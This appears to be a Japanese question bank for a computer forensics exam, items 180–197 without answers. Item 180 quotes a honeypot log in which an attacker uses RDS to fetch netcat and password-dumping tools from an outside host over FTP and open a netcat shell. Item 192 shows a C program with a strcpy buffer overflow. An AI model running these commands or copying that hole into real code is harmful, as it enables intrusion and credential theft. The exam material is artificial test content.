新しい質問 180
以下の抜粋は、lab.wiretrip.netでホストされていたハニーポットログから抜粋したものです。213.116.251.162からのUnicode攻撃が報告されています。ファイルパーミッションの正規化の脆弱性（UNICODE攻撃）は、通常スクリプトを実行する権利を持っていない任意のフォルダでスクリプトを実行することを可能にします。攻撃者は Unicode 攻撃を試み、最終的に boot.ini の表示に成功する。
そして、msadcs.dllを経由してRDSで遊ぶことに切り替える。RDSの脆弱性により、悪意のあるユーザーはIISサーバー上でシェルコマンド（CMD.EXEなど）を実行するSQL文を構築することができる。攻撃者は、簡単なクエリを実行してディレクトリが存在することを発見し、msadcs.dllへのクエリで正しく機能していることを確認する。攻撃者はRDSクエリを実行し、以下のようなコマンドを実行します。
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
与えられた搾取から何が推測できますか？

新しい質問 181
アニーは、Windows XP OSが稼動しているシステムで、ある削除されたファイルを探しています。そのファイルがシステムから完全に削除されていない場合、彼女はどこでそのファイルを見つけるのでしょうか？

新しい質問 182
次のメールヘッダで、そのメールが最初に発信されたのはどこですか？

新しい質問 183
録画の内容を証明するために、オリジナルの録画を提出しなければならないルールはどれか？

新しい質問 184
コンピュータ・フォレンジックの専門家であるロンは、企業スパイに関わる事件を調査している。彼は犯罪現場から複数のモバイルコンピューティングデバイスを回収した。ロンが所有している証拠の1つは、ONの状態で放置されていたノキアの携帯電話です。Ronは、デバイスの所有者の身元を確認するために、デバイスのIMEI番号を復元する必要があります。ロンがIMEI番号を復元するために使用できるキーの組み合わせは、次のうちどれでしょうか?

新しい質問 185
aaa/ddmmyy/nnnn/zz」形式で収集された証拠をマークする場合、「nnnn」は何を示すのか？

新しい質問 186
次のうち、統計と確率を調べることによって、攻撃後に攻撃者が次に何をし得るかを想定・予測し、2つの変数だけを使用する高度な相関手法はどれか。

新しい質問 187
次のメールヘッダのうち、"no such user "のようなバウンスメッセージなど、メーラーが生成したエラーの送信先（送信者のアドレスの代わり）を指定するものはどれですか？

新しい質問 188
システムにインストールされたアプリケーション、実行されたアプリケーション、またはアンインストールされたアプリケーションの痕跡を含むファイルは、次のうちどれですか？

新しい質問 189
コンピューター・フォレンジック調査官のトラヴィスは、著作権侵害と横領をめぐる1カ月以上にわたる事件を終えようとしている。彼の最後の仕事は、担当している会社の社長のために調査報告書を作成することである。トラヴィスはこの社長にハードコピーと電子コピーを提出しなければならない。トラヴィスはこの報告書をどのような電子フォーマットで送るべきか？

新しい質問 190
容疑者のハードドライブに隠しパーティションがあるかどうかを確認する方法のひとつは、次のようなものだ：

新しい質問 191
以下のログを見て、以下の質問に答えなさい：
Apr 24 14:46:46 [4663]: spp_portscan: 194.222.156.169からポートスキャンを検出しました。 Apr 24 14:46:46 [4663]: spp_portscan: 194.222.156.169からポートスキャンを検出しました：IDS27/FINスキャン：194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]：IDS/DNS-version-query：212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]：IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan：PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]：IDS277/DNS-version-query：63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]：IDS277/DNS-version-query：63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]：IDS/RPC-rpcinfo-クエリ：212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]：IDS230/web-cgi-space-wildcard：198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]：IDS212/dns-zone-transfer：38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]：IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]：IDS175/socks-probe：24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]：IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558この攻撃を防ぐための予防策には、ファイアウォールルールの作成が含まれる。これらのファイアウォールルールのうち、適切なものはどれか。

新しい質問192
カイルは経理部向けに開発したアプリケーションの最終テストを行っている。
彼の最後のテストは、プログラムが可能な限り安全であることを確認することである。カイルは次のコマンドを実行する。この時点で彼は何をテストしているか？
#include #include int main(int argc, char
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s stringn", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }.

新しい質問 193
ある従業員が、数枚のコンパクトディスク(CD)とデジタルビデオディスク (DVD)に保存されているデータを、大きな磁石を使って消去しようとしている。CDとDVDは大容量のデータを保存するために使用される______________メディアであり、磁石の影響を受けないため、この方法ではデータの消去に効果がないとあなたは彼に伝える。

新しい質問 194
次のうち、インターネット経由で悪意のあるソフトウェアを意図せずにダウンロードする攻撃はどれか。ここでは、攻撃者は、ユーザーが悪意のあるウェブサイトにアクセスするだけで、ブラウザソフトウェアの欠陥を悪用してマルウェアをインストールします。

新しい質問 195
最近、政府機関が利用する内部ウェブ・アプリケーションが応答しなくなりました。政府機関のネットワーク・エンジニアであるベティは、ウェブ・アプリケーションが応答しなくなった原因を特定するように命じられました。ベティはWlresharkを起動し、ローカルネットワークのトラフィックをキャプチャし始めます。その結果を分析するうちに、ベティは syn flood 攻撃が進行中であることに気づきました。ベティはどのようにしてsyn flood攻撃が発生していることを知ったのでしょうか？

新しい質問 196
キンバリーは町の専門学校でITセキュリティ・アナリストになるための勉強をしている。この学校では、さまざまなプログラミング言語やネットワーク言語を学ぶことができる。ルーターが使用するネットワークプロトコル言語は何でしょうか？

新しい質問 197
Windows OSがマシンに存在するショートカットファイルに使用する拡張子は何ですか？